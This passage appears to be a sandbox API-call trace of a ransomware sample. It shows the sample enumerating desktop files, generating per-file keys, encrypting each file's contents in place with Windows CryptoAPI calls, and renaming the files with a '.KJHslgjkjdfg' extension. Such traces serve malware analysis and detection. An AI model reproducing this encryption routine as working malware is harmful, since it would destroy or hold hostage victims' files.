[0127.415] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.415] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.415] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.415] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.415] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba87, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xba87, lpOverlapped=0x0) returned 1 [0127.416] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xba90, dwBufLen=0xba90 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xba90) returned 1 [0127.416] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.416] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba90, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xba90, lpOverlapped=0x0) returned 1 [0127.416] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.416] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xbb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.416] SetEndOfFile (hFile=0xc0) returned 1 [0127.419] GetProcessHeap () returned 0x2a0000 [0127.419] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.419] GetProcessHeap () returned 0x2a0000 [0127.419] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fbNvFXNW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fbnvfxnw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fbNvFXNW.jpg.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fbnvfxnw.jpg.kjhslgjkjdfg")) returned 1 [0127.426] CloseHandle (hObject=0xc0) returned 1 [0127.427] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda3cfbd0, ftCreationTime.dwHighDateTime=0x1d5da56, ftLastAccessTime.dwLowDateTime=0x73300730, ftLastAccessTime.dwHighDateTime=0x1d5e20c, ftLastWriteTime.dwLowDateTime=0x73300730, ftLastWriteTime.dwHighDateTime=0x1d5e20c, nFileSizeHigh=0x0, nFileSizeLow=0x14cfc, dwReserved0=0x0, dwReserved1=0xffff, cFileName="fVEYgEIUkEwNIz.ods", cAlternateFileName="FVEYGE~1.ODS")) returned 1 [0127.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fVEYgEIUkEwNIz.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fveygeiukewniz.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.427] GetProcessHeap () returned 0x2a0000 [0127.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.427] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.427] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.427] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.428] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.428] GetProcessHeap () returned 0x2a0000 [0127.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.428] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.428] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.428] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.428] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.428] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.428] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.428] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.428] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.429] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.429] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.429] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14cfc, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x14cfc, lpOverlapped=0x0) returned 1 [0127.429] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14d00, dwBufLen=0x14d00 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x14d00) returned 1 [0127.430] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.430] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14d00, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x14d00, lpOverlapped=0x0) returned 1 [0127.430] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.430] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x14dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.431] SetEndOfFile (hFile=0xc0) returned 1 [0127.434] GetProcessHeap () returned 0x2a0000 [0127.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.435] GetProcessHeap () returned 0x2a0000 [0127.435] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.435] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fVEYgEIUkEwNIz.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fveygeiukewniz.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fVEYgEIUkEwNIz.ods.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fveygeiukewniz.ods.kjhslgjkjdfg")) returned 1 [0127.438] CloseHandle (hObject=0xc0) returned 1 [0127.438] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df34d20, ftCreationTime.dwHighDateTime=0x1d5e1a9, ftLastAccessTime.dwLowDateTime=0x88f9fa0, ftLastAccessTime.dwHighDateTime=0x1d5e5b1, ftLastWriteTime.dwLowDateTime=0x88f9fa0, ftLastWriteTime.dwHighDateTime=0x1d5e5b1, nFileSizeHigh=0x0, nFileSizeLow=0xda22, dwReserved0=0x0, dwReserved1=0xffff, cFileName="gbZx5hj.png", cAlternateFileName="")) returned 1 [0127.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gbZx5hj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gbzx5hj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.438] GetProcessHeap () returned 0x2a0000 [0127.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.438] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.438] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.438] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xe, lpOverlapped=0x0) returned 1 [0127.439] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.439] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.439] GetProcessHeap () returned 0x2a0000 [0127.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.439] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.439] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.439] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.440] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.440] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.440] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.440] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.440] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.440] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.440] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.440] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xda22, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xda22, lpOverlapped=0x0) returned 1 [0127.440] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xda30, dwBufLen=0xda30 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xda30) returned 1 [0127.441] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.441] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda30, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xda30, lpOverlapped=0x0) returned 1 [0127.441] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.441] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xdb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.441] SetEndOfFile (hFile=0xc0) returned 1 [0127.444] GetProcessHeap () returned 0x2a0000 [0127.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.444] GetProcessHeap () returned 0x2a0000 [0127.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gbZx5hj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gbzx5hj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gbZx5hj.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gbzx5hj.png.kjhslgjkjdfg")) returned 1 [0127.448] CloseHandle (hObject=0xc0) returned 1 [0127.448] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b735560, ftCreationTime.dwHighDateTime=0x1d5daa5, ftLastAccessTime.dwLowDateTime=0x8c0026e0, ftLastAccessTime.dwHighDateTime=0x1d5e7fd, ftLastWriteTime.dwLowDateTime=0x8c0026e0, ftLastWriteTime.dwHighDateTime=0x1d5e7fd, nFileSizeHigh=0x0, nFileSizeLow=0x17e16, dwReserved0=0x0, dwReserved1=0xffff, cFileName="GF7kkv3HtKk1MRjKdNL.m4a", cAlternateFileName="GF7KKV~1.M4A")) returned 1 [0127.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GF7kkv3HtKk1MRjKdNL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gf7kkv3htkk1mrjkdnl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.448] GetProcessHeap () returned 0x2a0000 [0127.448] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.448] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.448] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.448] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0xa, lpOverlapped=0x0) returned 1 [0127.449] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.449] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.449] GetProcessHeap () returned 0x2a0000 [0127.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.449] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.449] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.449] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.449] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.449] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.449] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.449] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.450] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.450] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.450] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.450] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17e16, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x17e16, lpOverlapped=0x0) returned 1 [0127.450] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x17e20, dwBufLen=0x17e20 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x17e20) returned 1 [0127.451] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.451] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17e20, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x17e20, lpOverlapped=0x0) returned 1 [0127.452] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.452] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x17f04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.452] SetEndOfFile (hFile=0xc0) returned 1 [0127.455] GetProcessHeap () returned 0x2a0000 [0127.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.455] GetProcessHeap () returned 0x2a0000 [0127.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.455] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GF7kkv3HtKk1MRjKdNL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gf7kkv3htkk1mrjkdnl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GF7kkv3HtKk1MRjKdNL.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gf7kkv3htkk1mrjkdnl.m4a.kjhslgjkjdfg")) returned 1 [0127.461] CloseHandle (hObject=0xc0) returned 1 [0127.461] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca6ab050, ftCreationTime.dwHighDateTime=0x1d5e076, ftLastAccessTime.dwLowDateTime=0x3cb38170, ftLastAccessTime.dwHighDateTime=0x1d5e773, ftLastWriteTime.dwLowDateTime=0x3cb38170, ftLastWriteTime.dwHighDateTime=0x1d5e773, nFileSizeHigh=0x0, nFileSizeLow=0x1433a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="IastE7wzz1LJALDjR.jpg", cAlternateFileName="IASTE7~1.JPG")) returned 1 [0127.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IastE7wzz1LJALDjR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iaste7wzz1ljaldjr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.462] GetProcessHeap () returned 0x2a0000 [0127.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.462] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.462] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.462] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x6, lpOverlapped=0x0) returned 1 [0127.463] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.463] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.463] GetProcessHeap () returned 0x2a0000 [0127.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.463] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.463] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.463] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.464] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.464] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.464] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.464] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.464] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.464] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.464] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, 